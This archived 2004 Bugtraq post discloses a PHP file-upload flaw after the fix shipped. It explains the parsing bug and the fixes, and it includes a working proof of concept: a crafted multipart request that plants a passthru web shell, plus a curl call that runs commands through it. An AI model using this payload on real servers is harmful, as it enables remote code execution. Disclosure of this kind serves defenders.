Php RFC1867 Upload Vuln. POC Released

From: Stefano Di Paola (stefano.dipaola_at_wisec.it)
Date: 09/29/04

  • Next message: Jason T. Miller: "RE: Diebold Global Election Management System (GEMS) Backdoor Account Allows Authenticated Users to Modify Votes"
    To: Bugtraq <bugtraq@securityfocus.com>
    Date: Wed, 29 Sep 2004 19:15:51 +0200
    
    

    Hi all,
    Php 4.3.9 and 5.0.2 have been released with the patch for this
    vulnerability, so I've decided to release the POC for this vuln.

    ==PHP File Upload Vulnerability POC

    ==Title: Overwrite $_FILE array in rfc1867 - Mime
                        multipart/form-data File Upload
    Author: Stefano Di Paola
    Affected: Php <= 5.0.1
    Not Affected: Maybe some old Version of Php before 4.2.x
    Vulnerability Type: Possible write of a downloaded file in an arbitrary
                        location.

    ==Description:

    By forging an appropriate request for a Mime multipart/form-data file it
    is possible to set the "name" element value to an arbitrary filename if
    the name of $_FILES element contains a '_' (underscore) like "user_file"

    Let's use Example 34-2. Validating file uploads (changing 'userfile' to
    'user_file') from http://www.php.net/manual/en/features.file-upload.php:
     -----file: upload.php------
     <?php
     // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
     instead
     // of $_FILES.

     $uploaddir = '/var/www/uploads/';
     $uploadfile = $uploaddir . $_FILES['user_file']['name'];

     print "<pre>";
     if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
        print "File is valid, and was successfully uploaded. ";
        print "Here's some more debugging info:\n";
        print_r($_FILES);
     } else {
        print "Possible file upload attack! Here's some debugging info:\n";
        print_r($_FILES);
     }
     print "</pre>";

     ?>
     ----end file: upload.php------

    N.B. The is_uploaded_file php function has been added to proof that this
    check is bypassable.

    Let's suppose that /var/www/html/ is writable by apache user (or any
    other dir in apache root).

    $: (cat form)|nc 127.0.0.1 80

     <pre>
     File is valid, and was successfully uploaded.
     Here's some more debugging info:

     Array(
             [user_file] =>Array(
                                   [name] => ../html/passt.php
                                   [tmp_name] => /tmp/phpucjLV1
                                   [error] => 0
                                   [size] => 30
                                   [type] => application/octet-stream
                               )
             )
    </pre>
    where form is:

     -----8<---form-------8<-----
     POST /upload.php HTTP/1.1
     Host: 127.0.0.1
     User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
     Gecko/20040115 Galeon/1.3.12
     Accept:
     text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
     Accept-Language: en
     Accept-Encoding: gzip, deflate, compress;q=0.9
     Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
     Keep-Alive: 300
     Connection: keep-alive
     Referer:
     Content-Type: multipart/form-data;
     boundary=---------------------------1648318426118446961720965026
     Content-Length: 395

     -----------------------------1648318426118446961720965026
     Content-Disposition: form-data; name="user[file[name]123";
     filename="p.php"
     Content-Type: ../html/passt.php

     <?
     passthru($_GET['cm']);
     ?>

     -----------------------------1648318426118446961720965026
     Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
     Content-Type: application/octet-stream

     <?
     passthru($_GET['cm']);
     ?>

     -----8<---endform----8<-----
    By looking closely our request it can be noted that the name of uploaded
    file is going to be valued by 'Content-Type: ../html/passt.php' and not
    by filename='p.php'.

    Second section is injected just to make things more 'normal', by
    allowing php interpreter to instanziate 'type' element, but it's just a
    matter of style...

    And then let's verify that all went right:

     $: curl "127.0.0.1/passt.php?cm=id"
     uid=72(apache) gid=72(apache) groups=72(apache)
    Done!

    ==The Issue

    This vulnerability permits to bypass the sanitization php interpreter
    does on filename to remove prepended directories. So if the developer of
    a upload php script trust in php pre sanitization of input, a malicious
    user could use this flaw to upload a file in an arbitrary location. The
    issue is in the fact that, as can be seen in request, by playing with
    sqare brackets and by appending some non ']' at the end of the 'name'
    variable value, a malicious user can fool the array parser embedded in
    php interpreter, resulting in a different array from the expected one.

    I won't go too deep in details on why this was possible (it's just a
    matter of debugging), but it should be enough to know that the parameter
    'name' value in request ('user[file[element]123') is parsed firstly as a
    simple String type by SAPI_POST_HANDLER_FUNC (is_arr_upload = 0) and
    then parameter is parsed again by php_register_variable and seen as an
    array.
    This flaw creates a incongruence in the type of the variable, that can
    be used to exploit the php upload script.

    ==Additional Topics

    By playing with arrays of arrays and open square brackets I did a lot of
    thing but the *big* thing is this one.

    ==The Solution

    The most simple solution consists in downloading and installing php
    5.0.2 or 4.3.9 that have been released a couple of days ago.

    An alternative solution is to check if $_FILES[]['name'] is really a
    stripped filename by using something like this:
    $filename=basename($_FILES[]['name']);

    Regards,

    Stefano

    .......----=oOOo=----=oOOo=-----.......

    Stefano Di Paola
    Software Engineer

    Email: stefano.dipaola_at_wisec_dot_it
    Email: stefano.dipaola1_at_tin_dot_it

    ---------------------------------------


  • Next message: Jason T. Miller: "RE: Diebold Global Election Management System (GEMS) Backdoor Account Allows Authenticated Users to Modify Votes"

    Relevant Pages

    • [Full-disclosure] Zeroboard File Upload & extension bypass Vulnerability
      ... Zeroboard File Upload & extension bypass Vulnerability ... Zeroboard basically prohibits uploading execution scripts such as php, html, ...
      (Full-Disclosure)
    • Re: [PHP] Re: File Upload - post_max_size and upload_max_filesize in GBs
      ... When you hit the upload button the browser makes a connection to the server and the PHP engine gets invoked to handle the request. ...
      (php.general)
    • Re: file upload problem
      ... I am trying to learn about uploading files with php. ... I made a simple form script and and file up load script. ... The form script gets the file name correctly and seems to pass it to the upload script correctly. ... if I echo ini_getI see ...
      (comp.lang.php)
    • Re: file upload problem
      ... I am trying to learn about uploading files with php. ... I made a simple form script and and file up load script. ... The form script gets the file name correctly and seems to pass it to the upload script correctly. ... if I echo ini_getI see ...
      (comp.lang.php)
    • Zeroboard File Upload & extension bypass Vulnerability
      ... Zeroboard File Upload & extension bypass Vulnerability ... Basically, the PHP, HTML, and CGI files are prohibited to upload in Zeroboard. ... Zeroboard basically prohibits uploading execution scripts such as php, html, cgi, and asp. ...
      (Bugtraq)